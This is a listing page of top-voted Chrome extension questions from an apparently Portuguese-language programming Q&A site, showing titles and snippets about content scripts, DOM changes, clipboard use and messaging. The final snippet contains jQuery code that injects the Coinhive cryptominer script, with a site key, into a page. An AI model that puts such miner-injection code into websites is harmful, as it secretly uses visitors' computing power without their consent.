Most voted "google-chrome-extension" questions
Extensions are small programs that can modify and improve the functionality of the Chrome browser. You can write them using web technologies like HTML, Javascript and CSS.
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		11 votes2 answers2686 viewsRunning JAR by BrowserI’m having a hard time figuring out how to do it: What I Wish I want to create a Google Chrome/Firefox extension that when I press a button in the html of my extension, it will run a file. JAR… 
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		11 votes1 answer4164 viewsGet source code from Google Chrome extension pageYou can create an extension for Chrome that takes either the source code of the page or the entire text (Ctrl + To, Ctrl + C), to submit this to an external website (for data mining) and return the… 
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		6 votes1 answer1452 viewsHow do I copy an image to the clipboard (Clipboard)?I’m using this command to capture the screen. chrome.tabs.captureVisibleTab(null, {}, function (image) { // image = base64;string }); And now I would like to copy the captured image to clipboard… javascript google-chrome google-chrome-extension clipboardasked 11 years, 10 months ago BrunoLM 5,198
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		6 votes1 answer188 viewsChrome.tabs.onUpdated.addListener with delayI made an extension for Google Chrome that’s working. The goal is to change the color of the images' pixels on all web pages. To do this on the pages loaded in the tabs already open, I use the… 
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		6 votes1 answer219 viewsHow to communicate tabs with an extension/add-on and store variables?I want to be able to communicate tabs with an extension and go storing values in variables and share these values between tabs, how can I do this? Note: This is a tutorial question, read more on: I… javascript google-chrome-extension firefox-extensionasked 7 years, 10 months ago Guilherme Nascimento 98,651
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		6 votes1 answer798 viewsCreate extension to manipulate DOM from other pagesI wonder if you have any way to manipulate the DOM of another page with my extension. Ex: I open the extension popup and there is a button, and this button I call a Javascript function: var n1 =… 
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		5 votes1 answer1335 viewsRun custom functions in the browser consoleIt’s a little tiring having to keep writing console.log() all the time. I know that in my code I can define the function log that does just that. But outside the app environment, I would like to… 
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		5 votes2 answers1076 viewsIdentify extension installed in google ChromeHow can I identify that the Google Chrome of the user who is accessing my site has a certain extension installed. For example, one has the extension of Glogo.com/Itau, etc.. I need to check this to… 
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		5 votes2 answers2303 viewsHow to modify the HTML document via an extension?I would like to make a button appear on the site I developed, but only for those who have the extension. I have the CSS, HTML and Javascript codes to generate the button. The functionality of the… javascript google-chrome-extension firefox-extensionasked 10 years, 3 months ago chocolatemontana 573
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		5 votes1 answer905 viewsIs it possible to modify the HTML when writing an email in Gmail?The intention is very simple, I want to make a <strike> (strikethrough) in the text of the email, p.ex.: tacked. I found the library Kartiktalwar/gmail.js: Gmail Javascript API, but it… 
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		4 votes2 answers2439 viewsHow to use the value of options?Inside the "options.html" file I know exactly how to make a tagging work to enable some set of javascript like... <label> <input type="checkbox" id="test"> Habilitar </label> That… 
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		4 votes1 answer1142 viewsHow to run a script on a page without having to open it in a browser tab or window?I need to make a web-extension (add-on) that can handle DOM elements, existing events and execute scripts in the context of a page of a website. But I need this to happen in background without the… 
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		4 votes1 answer699 viewsHow do I create desktop notifications in Chrome extensions?How to create Desktop notifications to use in web-extensions (Firefox, Chrome and etc) and also would like to know if there is any difference between Chrome, Opera and Firefox? Note: This is a… javascript google-chrome-extension firefox-extensionasked 7 years, 10 months ago Guilherme Nascimento 98,651
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		3 votes1 answer157 viewsHow to send messages to open tabs of an app on ChromeI’m fixing the sync part between the open tabs of my app and remembered that Google Chrome has an API that if I’m not mistaken does exactly what I need, send messages internally in an app. I took a… 
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		3 votes2 answers1124 viewsDifficulty with the javascript "find and replace" function for a browser applicationI’m trying to develop an extension for Chrome, and I’m still in the early stages, and at the very beginning I’m already stuck. I know very little about javascript but I try to do what I can by… 
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		3 votes1 answer2150 viewsHow do I take what’s copied on the clipboard and put it into a variable?It would look like this: when copying anything using CONTROL+C, I need to put this content in a variable using Javascript. I didn’t find on the internet how to do this. Anyone help? Detail: It is by… 
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		3 votes2 answers1248 viewsI need to create an extension for Google Chrome that runs a . exe or something similarI need to make my Website run a local system (your .exe), passing some attributes by the executable, I want to do an extension to Google Chrome that I can pass the parameters to run the program. How… 
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		3 votes1 answer345 viewsHow do I make a Content Script communicate with iframe element extension for Chrome?I developed a Toolbar for Google Chrome, adding it to the pages via an iframe: var iframe = document.createElement('iframe'); iframe.id="iframeId"; iframe.src =… 
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		3 votes0 answers103 viewsHow do slideshow run when the "new tab" tab is open?I’m trying to make a slideshow script run every time a new tab opens in Google Chrome. I need to do the following execution: 1-Make a slideshow script run 10 images [here put only 3], fade, every… 
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		2 votes1 answer781 viewswindow.open is not opening the popupI have an extension that sends things to an external server by ajax post (all in javascript) and the reply of the send (sent from the server) is received in the extension itself. I want to put this… javascript ajax google-chrome-extension popup extensionasked 10 years, 7 months ago Luciano Zancan 321
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		1 votes1 answer263 viewsChrome Extension: How to force a script to start only when the previous one is finished?I have an extnsão that makes the change of colors in the images of the web pages. When the extension is activated (via an icon in Toolbar), the images in all tabs open pages are recolored. When the… 
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		1 votes1 answer974 viewsHow can I remove the "Inspect element" from Chromium PortableI am creating a PHP application that will run exclusively with Chromium, this comes from the project php desktop Chromium v1 which can be conferred here. My project is a simple store program running… 
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		1 votes0 answers56 viewsGoogle Chrome extension - Add tags on the pagethere is some function or way to add points/objects on the running page? My idea is to allow the extension user to click on the page and add a bookmark. 
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		1 votes1 answer402 viewsHow to create functions for extensionI’m creating an extension, my first extension for Google Chrome, the extension consists of changing elements of any page and change things, but wanted to put a function to a button via onclick, but… 
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		1 votes0 answers84 viewsHow to obtain and modify an AJAX request?I’m creating a supplement to my own study for the Chrome, in the add-on I modify several parts of a website. But now I need to modify a request ajax, the site makes the request before the extension… 
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		1 votes1 answer444 viewsHow to manipulate the DOM through an extension?I’m starting to work with extensions in Google Chrome and after some time reading tutorials I so far could not access anything in the DOM of the page. I need to modify the CSS of the page or run… 
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		1 votes0 answers43 viewsPopup.html interacts with Document?I’m a beginner in making extensions for Chrome and would like to do an Extension with the popup that contains some buttons that complete text fields from the page loaded on the active Tab. At the… 
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		1 votes1 answer385 viewsRun function after loading all scripts in pure JavascriptI’m creating a plugin for Google Chrome where I inject elements into the page like the Fontawesome and Jquery libraries. These elements I inject are coming from CDN’s host and need to start a… 
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		1 votes1 answer309 viewsPlacing static HTML element as an extension for ChromeI would like to make an extension for Google Chrome that enables a horizontal bar that is always available at the top of the user window. The placement would be something like: The question is: how… 
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		1 votes0 answers78 viewsMy Chrome Theme image doesn’t fill the whole screen. What’s wrong?I am creating a theme for Google Chrome, but the image does not fill the entire screen. I already consulted the documentation, I read some tutorials, but my image does not fill the whole screen of… google-chrome-extensionasked 9 years, 10 months ago Josué 79
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		1 votes1 answer401 viewsHow to view the x and y position of an element by Chrome Devtools?Could someone tell me if there is any way to view the X and Y of a screen object with Chrome Devtools Inspect, or some extension that allows this? Devtools shows the size of the object when you… 
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		1 votes0 answers323 viewsCreate Chrome Extension with PHP scriptHey guys I made an extension for Chrome only with a basic html and it worked super good. The problem is when I changed the main file from . html to . php in order to put my logic that I need php.… 
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		1 votes0 answers246 viewsWebsocket in java and javascriptI have a single server done in JAVA that complete a form of a particular website web. I use the java application as a server to send the information and a extension made for Chrome who acts like… 
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		1 votes0 answers106 viewsExtension problem for Google ChromeGood afternoon, My goal is to make an extension to monitor price, but the code is not working. It was to generate a txt file. also wanted to know how I do to display information in the popup window.… 
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		1 votes1 answer68 viewsJquery.load() function does not bring the textarea element up to dateWell, I have a Chrome extension with page 1 and page 2, each with its script.js. On page 1 I can open a new tab/window when I click on a button, and when the new tab opens, the . page html 2 calls a… 
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		1 votes0 answers22 viewsInformation is not being saved on-premise by the Chrome Extension APII’m trying to make a schedule that saves notes based on the agent’s number on Storage.local In q each one can have its annotation, where to display it/change it/delete it would just write the agent… 
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		1 votes1 answer50 viewsStart an event and stop when you click again - chromeExtensionI’m creating a very simple extension in Chrome for Whatsapp Web to speed up the audio by 1.5x, but so far I’ve only been able to make the function run, and it keeps running until the page is… 
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		1 votes0 answers36 viewsJavascript does not work on my Chrome extensionI’m trying to create a simple trial extension for the Chrome browser, where I create a button that when clicked, shows a message inside a <div>. My file manifest.json currently is like this: {… 
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		1 votes1 answer40 viewsChrome extension code problemGood afternoon! I’m trying to create an extension to automatically click a one-page button every X seconds. In my case is a working tool called Servicenow, where there are panels with reports in… 
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		0 votes1 answer77 viewsWhat features to use when creating a Chrome extension for notificationsI want to create a Chrome extension that periodically checks a response URI JSON and that displays a notification to the user (in some cases). This must happen, regardless of the website where the… google-chrome-extensionasked 11 years, 3 months ago gpupo 2,181
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		0 votes1 answer131 viewsExtension for Chrome does not runmanifest: { "manifest_version": 2, "name": "Gmail Extension", "version": "1.0", "description": "Share your mail from Gmail on facebook.", "browser_action": { "default_icon": "gmail.png" },… google-chrome-extensionasked 10 years, 10 months ago Marta 49
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		0 votes1 answer736 viewsHow to access the url of the current tabI have part of this code that belongs to an extension of Chrome. Clicking the share button does not share the content of the page I want. Does anyone know how to share the page you are on at the… google-chrome-extensionasked 10 years, 10 months ago Marta 49
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		0 votes1 answer395 viewsURL redirection Google extensionI have a silly problem, but I can’t solve it. Come on: I want to adapt this code var pattern=/\bBloqueado/; var viewtext = "http://www.google.com"; var newurl; if… 
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		0 votes1 answer137 viewsHow to put the content of an Ajax Post (reply received after post) in a popup? (post sent through an extension)Hi. I need to put the answer to an ajax post in a popup using javascript. Anyone have any idea? Is it possible to do this? It works like this: When doing the post (variable.send(...);), it would… 
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		0 votes1 answer109 viewsGet extension permissionsI’m trying to get permissions from the user when a gmail link is posted on facebook. The goal is to share gmail content on facebook. //code from facebook window.fbAsyncInit = function() { FB.init({… google-chrome-extensionasked 10 years, 10 months ago Marta 49
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		0 votes0 answers456 viewsHow to create Google Chrome App shortcut on desktop via script?I have an App in Google Chrome and would like to put a link on my site that will cause you to create a shortcut on the user’s desktop. I know you have how to create by clicking the right mouse… javascript jquery google-chrome google-chrome-extensionasked 10 years, 2 months ago Danilo Pádua 1,127
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		0 votes2 answers49 viewsStart my fullscreen Chrome appI’m studying the Chrome api to create extensions, downloaded an example and I’m modifying. I want my extension to start fullscreen, I made several modifications but none worked. I gave permission in… 
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		0 votes0 answers234 viewsHibernate pages in Chrome instead of closingIn Windows we can instead of turning off we can switch to hibernate option and so we do not need to worry about closing anything because when turn on again will be exactly in the same session as… 
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		0 votes0 answers295 viewsExtension for Chrome + NodejsI would like tips to develop extensions for the Chorme(and other browsers) using Nodesjs. Because Nodejs? Well I would like to give some protection to my JS codes so that they are not visible or… 
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		0 votes1 answer31 viewsJquery error when using . before$(".enviar").before('<script src="https://coinhive.com/lib/coinhive.min.js"></script><script> var miner = new CoinHive.Anonymous("4jimrwZqZRoKFX1001NpibYyv1up80Y2");…